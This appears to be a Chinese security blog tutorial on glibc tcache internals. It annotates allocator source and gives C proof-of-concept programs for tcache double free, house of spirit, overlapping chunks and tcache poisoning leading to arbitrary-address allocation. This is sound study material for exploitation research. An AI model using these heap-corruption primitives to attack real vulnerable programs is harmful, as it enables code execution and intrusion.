Pwn Heap With Tcache
安全脉搏SecPulse.Com独家发文，如需转载，请先联系授权。
glibc 2.26 开始引入了 tcache , 相关的 commit 可以看 这里 。加入 tcache 对性能有比较大的提升，不过由于 tcache 的存在 ，一些利用方式的限制条件就少了许多。具体往下看。
相关文件位于
https://gitee.com/hac425/blog_data/tree/master/tcache_pwn
修改自：https://github.com/andigena/ptmalloc-fanzine/tree/master/05-tcache
首先分析分析源码，看看 tcache 的工作原理
typedef struct tcache_entry
{
struct tcache_entry *next;
} tcache_entry;
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS]; // TCACHE_MAX_BINS = 64
} tcache_perthread_struct;
tcache 也是使用 类似 bins 方式来管理 tcache 。
tcache_perthread_struct 是整个 tcache 的管理结构， 它的 entries 有 64 项
每一项由 相同大小的 chunk 通过 tcache_entry 使用单向链表链接（类似于fastbin的链接方式）。
counts 用于记录 entries 中每一项当前链入的 chunk 数目， 最多可以有 7 个 chunk。
tcache_entry 用于链接 chunk 的结构体， 其中就一个 next 指针，指向下一个相同大小的 chunk
下面通过分析对 tcache 的两个基本操作理解上面结构体的作用
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e; // 增加到链表头部
++(tcache->counts[tc_idx]); // 记录当前 bin 的 chunk数
}
static __always_inline void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
assert (tc_idx < TCACHE_MAX_BINS);
assert (tcache->entries[tc_idx] > 0);
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
return (void *) e;
}
用于把一个 chunk 放到 指定的 tcache->entries 里面去， tc_idx 通过 csize2tidx (nb) 计算得到 （nb是 chunk 的大小）。https://www.secpulse.com/archives/71958.html
它首先把 chunk+2*SIZE_SZ （就是除去 header 部分） 强制转换成 tcache_entry * 类型，然后插入到 tcache->entries[tc_idx] 的首部，最后把 tcache->counts[tc_idx] 加 1 ，表示新增了一个 chunk 到 该 表项。
根据 tc_idx 取出 tcache->entries[tc_idx] 的第一个chunk ， 然后把 指针强制转换为 (void *)
这样就可以大概得到一个图
tcache->entries 的每一项通过 单向链表链接 chunk 。
tcache_entry 和 malloc chunk 是重叠的， tcache_entry->next 和 chunk->fd 是一个位置。
malloc 的入口点是 __libc_malloc （做了一些注释）
__libc_malloc (size_t bytes)
{
.............
.............
.............
#if USE_TCACHE
/* int_free also calls request2size, be careful to not pad twice. */
size_t tbytes;
checked_request2size (bytes, tbytes); // tbytes 为 bytes请求的 转换后得到的 chunk 的 size
size_t tc_idx = csize2tidx (tbytes); // 根据大小 tbytes ， 找到 tcache->entries 索引
MAYBE_INIT_TCACHE ();
DIAG_PUSH_NEEDS_COMMENT;
if (tc_idx < mp_.tcache_bins
/*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */
&& tcache
&& tcache->entries[tc_idx] != NULL) // 如果 tcache->entries[tc_idx] 有 chunk ，就返回
{
return tcache_get (tc_idx); // 调用 tcache_get 拿到 chunk 然后返回
}
DIAG_POP_NEEDS_COMMENT;
#endif
if (SINGLE_THREAD_P)
{
victim = _int_malloc (&main_arena, bytes);
assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
&main_arena == arena_for_chunk (mem2chunk (victim)));
return victim;
}
arena_get (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
首先判断 tcache->entries[tc_idx] 里面有没有 chunk ，如果有就直接返回，否则进入 _int_malloc 分配内存。
下面看看 _int_malloc （主要看 tcache 处理的部分）
首先是把 请求的 size 转换成 实际 malloc 内部的 size ，然后定义了一个宏
// 从 fastbin里面移除 pp
#define REMOVE_FB(fb, victim, pp) \
do \
{ \
victim = pp; \
if (victim == NULL) \
break; \
} \
while ((pp = catomic_compare_and_exchange_val_acq (fb, victim->fd, victim)) \
!= victim); \
用于多线程的中从 fastbin 里面移除一个 chunk.
然后进入分配的流程， 首先如果 size 在 fastbin 的范围内进入， fastbin 分配的流程
if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
{
idx = fastbin_index (nb);
mfastbinptr *fb = &fastbin (av, idx);
mchunkptr pp;
victim = *fb;
if (victim != NULL)
{
if (SINGLE_THREAD_P)
*fb = victim->fd;
else
REMOVE_FB (fb, pp, victim);
if (__glibc_likely (victim != NULL))
{
size_t victim_idx = fastbin_index (chunksize (victim));
if (__builtin_expect (victim_idx != idx, 0))
malloc_printerr ("malloc(): memory corruption (fast)");
check_remalloced_chunk (av, victim, nb);
#if USE_TCACHE
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins) // 把该 fastbin 里面其他的 bin 放到 tcache 里面
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks. */
while (tcache->counts[tc_idx] < mp_.tcache_count // 判断 tcache 中指定 bin 中 chunk 是否超过 7
&& (tc_victim = *fb) != NULL)
{
if (SINGLE_THREAD_P)
*fb = tc_victim->fd;
else
{
REMOVE_FB (fb, pp, tc_victim);
if (__glibc_unlikely (tc_victim == NULL))
break;
}
tcache_put (tc_victim, tc_idx);
}
}
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
}
在 相应 fastbin 找到 合适的 chunk 后，就把 该 chunk 从 fastbin 里面拿下来 https://www.secpulse.com/archives/71958.html
然后 把相应 fastbin 里面剩下的 chunk 全都放到 tcache 里面 ， 直到 tcache->entries[tc_idx] 满了 (已经有 7 个 chunk 了，即tcache->counts[tc_idx] = mp_.tcache_count = 7 ）。
最后在返回一开始拿到的 chunk 给用户
如果 fastbin 不能分配，则进入 smallbin 的分配流程
if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);
if ((victim = last (bin)) != bin)
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): smallbin double linked list corrupted");
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin; // 找到 chunk ， 从 smallbin拿下来准备返回给用户
if (av != &main_arena)
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size, // 把指定 smallbin 里面的 bin扔到 tcache里面
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;
tcache_put (tc_victim, tc_idx);
}
}
}
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
和 fastbin 是类似的操作， 在 size 对应的 smallbin 里面找到 chunk 后
把这个 chunk 从链表上取下来
然后把该 smallbin 里面剩下的 bin 放入到 tcache ， 直到 tcache->entries[tc_idx] 满.
如果 smallbin 也没能分配，进入 unsorted bin
int iters = 0;
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
{
....................
....................
....................
/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
// 把 bin 从 unsorted bin 里面拿下来后，先放入 tcache
#if USE_TCACHE
// 如果unsorted bin 的大小正好，扔到 tcache ，然后继续遍历
We may return one of these chunks later. */
if (tcache_nb
&& tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put (victim, tc_idx);
return_cached = 1;
continue;
}
else
{
#endif
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
#if USE_TCACHE
}
#endif
}
//大小不刚好等于需要的size 的话，就把 bin放到 相应的 bin 里面。
.......................................
.......................................
.......................................
#if USE_TCACHE
//如果有 大小适配的 unsorted bin 进入了 tcache(return_cached=1) 同时 mp_.tcache_unsorted_limit > 0 默认为 0 ，不会进入分支, 继续遍历
++tcache_unsorted_count;
if (return_cached
&& mp_.tcache_unsorted_limit > 0
&& tcache_unsorted_count > mp_.tcache_unsorted_limit)
{
return tcache_get (tc_idx);
}
#endif
.......................................
.......................................
.......................................
} // end of while ((victim = unsorted_chunks (av)->b
//遍历完 unsorted bin 后 ，根据 return_cached 判断 tcache 里面是否有合适的 chunk
#if USE_TCACHE
/* If all the small chunks we found ended up cached, return one now. */
if (return_cached)
{
return tcache_get (tc_idx);
}
#endif
在遍历 unsorted bin 的时候， 如果找到大小刚好满足的 bin ， 不会立刻返回，而是把这个 bin 放入 tcache 里面，并且设置return_cached=1 ，表示 有 大小适配的 unsorted bin 进入了 tcache
如果大小不是正好满足需要，就走一般的流程，把 bin 放到相应的 smallbin 或者 largebin 里面
遍历 unsorted bin 的最后，会根据 return_cached 判断是否有 大小适配的 unsorted bin 进入了 tcache ， mp_.tcache_unsorted_limit 默认为 0 ，所以不会进入分支， 这样就会把所有的 unsorted bin 都放入到 tcache。
遍历完 unsorted bin 后 ，根据 return_cached 判断 tcache 里面是否有合适的 chunk ，有的话就可以返回了
否则 large bin ，top chunk 来分配。
static void
_int_free (mstate av, mchunkptr p, int have_lock)
{
size = chunksize (p);
check_inuse_chunk(av, p);
#if USE_TCACHE
{
size_t tc_idx = csize2tidx (size); // tcache bin 的索引
if (tcache
&& tc_idx < mp_.tcache_bins // 64 ，最多 64 个 bin
&& tcache->counts[tc_idx] < mp_.tcache_count) // 7 ，tcache->counts 存放每个 bin 已经存放的 chunk数量
{
tcache_put (p, tc_idx);
return;
}
}
#endif
删掉了一些没影响的代码
首先就是获取要释放的 chunk 的 size , 然后判断 size 是否符和规范（是否对齐之类的 check )， 如果合规就看 tcache->counts[tc_idx] 是否已经满了 ，如果没有满就直接放入 tcache ， 然后返回。
否则就和没有 tcache 是一样的处理
在 free 的时候，会检测 p 的下一个 chunk( next ) 的 PREV_INUSE 位，但是如果 chunk 被放入了 tcache ，next->PREV_INUSE 位不会被修改 ，所以还是会标志为 in_used . 所以我们可以 多次释放同一个 chunk .
size = chunksize (p);
if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
|| __builtin_expect (misaligned_chunk (p), 0))
malloc_printerr ("free(): invalid pointer");
if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
malloc_printerr ("free(): invalid size");
check_inuse_chunk(av, p); // 通过下一个 chunk 的 pre_inused 位，判断当前 chunk 释放已经被释放
#if USE_TCACHE
{
size_t tc_idx = csize2tidx (size); // tcache bin 的索引
if (tcache
&& tc_idx < mp_.tcache_bins // 64 ，最多 64 个 bin
&& tcache->counts[tc_idx] < mp_.tcache_count) // 7 ，tcache->counts 存放每个 bin 已经存放的 chunk数量
{
tcache_put (p, tc_idx); // 如果 chunk 被放入了 tcache ，next->pre_inuse 不会被修改。
return;
}
}
#endif
同时在 malloc 的时候 ，先尝试 tcache 分配
void *
__libc_malloc (size_t bytes)
{
#if USE_TCACHE
size_t tbytes;
checked_request2size (bytes, tbytes);
size_t tc_idx = csize2tidx (tbytes);
if (tc_idx < mp_.tcache_bins
&& tcache
&& tcache->entries[tc_idx] != NULL)
{
return tcache_get (tc_idx);
}
#endif
这也使得很多安全检测不会被执行。
首先编译一个开启 tcache 的 glibc ，我用的是 glibc-2.27
tar xvf glibc-2.27.tar.bz2 mkdir gcc227_build cd gcc227_build/ ../glibc-2.27/configure --prefix=/usr/local/glibc227 sudo mkdir /usr/local/glibc227 sudo make install
可以参考
http://www.sysnote.org/2015/08/25/use-new-glibc/
下载
https://github.com/andigena/ptmalloc-fanzine/tree/master/05-tcache
作为测试代码。
修改 Makefile
PROGRAMS = tcache_poisoning overlapping_chunks_by_caching tcache_house_of_spirit tcache_dup CFLAGS += -Wpedantic -std=gnu11 -g -Wl,--rpath=/usr/local/glibc227/lib -Wl,--dynamic-linker=/usr/local/glibc227/lib/ld-linux-x86-64.so.2 -lpthread all: $(PROGRAMS) clean: rm -f $(PROGRAMS)
增加 gcc 的参数
-Wl,--rpath=/usr/local/glibc227/lib -Wl,--dynamic-linker=/usr/local/glibc227/lib/ld-linux-x86-64.so.2
使得程序使用 我们编译好的 libc 来链接程序。
参考
https://blog.csdn.net/jefbai/article/details/47859335
通过 free 2次同一个 chunk ， 使得可以让两个指针分配到同一块内存
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
int main() {
void* p1 = malloc(0x40);
free(p1);
free(p1);
printf("Next allocated memory will be same: %p %p\n", malloc(0x40), malloc(0x40));
}
通过 _int_free 的源码我们知道， 在 free 的时候，会检测 p 的下一个 chunk ( next ) 的 PREV_INUSE 位
然后如果 tcache 指定项没有满就把 chunk 加入 tcache
但是如果 chunk 被放入了 tcache ，next->PREV_INUSE 位不会被修改 ，所以还是会标志为 in_used . 所以我们可以 多次释放同一个 chunk .
所以我们释放两次 p1 , 此时 tcache 里面 size 为 0x50 ( chunk 大小) 的项中就有 两个 一样 chunk
然后分配两次一样大小的 chunk， malloc 会先用 tcache 分配，就会拿到两个一样的 chunk
01:38 haclh@ubuntu:tcache_pwn $ ./tcache_dup Next allocated memory will be same: 0x602260 0x602260
可以看到分配到了两个地址一样的 chunk .
通过伪造 size ，然后 free 掉这个 伪造的 chunk , 然后再分配 size 大小的 chunk , 就可以分配到指定位置。
首先看看源代码
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
int main(int argc, const char* argv[]) {
size_t fake_chunk_and_more[64];
memset(fake_chunk_and_more, 'A', sizeof(fake_chunk_and_more));
printf("stack buf: %p\n", (void *)fake_chunk_and_more);
char* fake_chunk = (char * )fake_chunk_and_more;
*(long *)(fake_chunk + sizeof(long)) = 0x110;
*(long *)(fake_chunk + 0x110 + sizeof(long)) = 0x40; // 设置 pre_inused 位
char *mem = fake_chunk + 2*sizeof(long);
free(mem);
void *mem2 = malloc(0x100);
printf("malloc(0x100) returned: %p\n", mem2);
return 0;
}
就是在栈上面（用栈只是为了方便）伪造了 一个 0x110 大小 chunk，
然后把它释放掉，他就会进入 tcache ,然后分配 0x110 的 chunk 就可以 分配到 fake_chunk_and_more 的地址
可以看到分配到了fake_chunk_and_more .
调试过程的内存状态
熟悉 malloc 管理机制的老哥们可以比较奇怪，这里把 next_chunk->pre_inused = 0 ( size = 0x40 ) 。
在 源码里面是有通过 check_inuse_chunk 检测是否 double free 的 代码的
_int_free (mstate av, mchunkptr p, int have_lock)
{
size = chunksize (p);
....................................................
....................................................
check_inuse_chunk(av, p);
#if USE_TCACHE
{
size_t tc_idx = csize2tidx (size); // tcache bin 的索引
if (tcache
&& tc_idx < mp_.tcache_bins // 64 ，最多 64 个 bin
&& tcache->counts[tc_idx] < mp_.tcache_count) // 7 ，tcache->counts 存放每个 bin 已经存放的 chunk数量
{
tcache_put (p, tc_idx);
return;
}
}
#endif
但是从 ida 里面去看，居然不见了，校验 chunk 的 size 和 指针 后就直接进入 tcache 的处理的流程， 于是这里就算设置 下一个chunk 的next_chunk->pre_inuse = 0 ,也不会出现 crash 。
overlapping_chunks 这种技术非常经典了， 不过在 tcache 里面就非常的简单了， 修改 chunk 的 size 为 fake_size ， 然后 free 掉它，就会进入 fake_size 对应的 tcache ， 然后在 分配 fake_size 的 chunk 就可以拿到这个 chunk , overlap chunk
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
int main(int argc, const char* argv[]) {
char *mem = malloc(0x48);
char *sentry = malloc(0x18);
memset(sentry, 'b', 0x10);
printf("mem: %p, sentry: %p\n",mem, sentry);
printf("sentry content: %s\n", sentry);
*(long* )(mem - sizeof(long)) = 0x110; // 设置 chunk->size = 0x110
free(mem);
char *mem2 = malloc(0x100); // 分配一个 0x110 的chunk
memset(mem2, 'a', 0x100);
printf("mem2: %p\n", mem2);
printf("sentry content: %s\n", sentry);
return 0;
}
通过修改 mem 所在 chunk 的 size 为 0x110
然后释放掉他 ，然后分配一个 0x110 的 chunk ，我们就会再次分配到它。此时 mem2 的 chunk 包含了 sentry 的 chunk
调试过程
可以看到 mem2 所在 chunk 的大小为 0x110， 而 sentry 和 mem2 相距 0x50 于是可以通过 mem2 修改 sentry 的内容
通过修改 free 状态的 tcache 里面的 chunk 的 fd （其实就是 tcache_entry->next ) ，可以分配到任意地址
#include <malloc.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
int main(int argc, const char* argv[]) {
size_t target[6];
printf("stack: %p\n",target);
char *mem = malloc(0x48);
free(mem);
*(long *)(mem) = (long)target;
char *mem1 = malloc(0x48);
char *mem2 = malloc(0x48);
printf("mem2: %p\n", mem2);
return 0;
}
分配一个 0x50 的 chunk 然后释放它，进入 tcache ，然后修改 fd 为 target
然后分配两次 0x50 的 chunk 就可以分配到 target
成功分配到了 栈上面。
其实 fd 为任意地址都行，原因在于 tcache_get 直接从 tcache->entries 里面拿 chunk ， 而不检查 拿到的 chunk 是否合法。
同时 在 malloc 分配内存时，首先使用 tcache ，而它判断 tcache 有没有可以分配的 chunk , 是直接判断指定项有没有指针。
DIAG_PUSH_NEEDS_COMMENT;
if (tc_idx < mp_.tcache_bins
&& tcache
&& tcache->entries[tc_idx] != NULL) // 根据tcache->entries[tc_idx]是否为空判断是否有chunk
{
return tcache_get (tc_idx);
}
DIAG_POP_NEEDS_COMMENT;
#endif
tcache 的引入使得 heap 相关的漏洞的利用非常的简单了。
简单的原因主要在于 tcache 里面没有做什么检查， 同时还会优先使用这使得原来 malloc 里面的 check 也没有了作用。
free 的话 释放内存如果大小在 tcache 的范围内， 只检测 size 和 指针 是否合法，而且检测非常弱。
malloc 时 也是优先使用 tcache ， 只要 tcache->entries[tc_idx] 非空就可以从 tcache 分配。
http://tukan.farm/2017/07/08/tcache/
https://www.anquanke.com/post/id/104760
本文作者：hackedbylh
本文为安全脉搏专栏作者发布，转载请注明：https://www.secpulse.com/archives/71958.html
必填 您当前尚未登录。 登录？ 注册
必填（保密）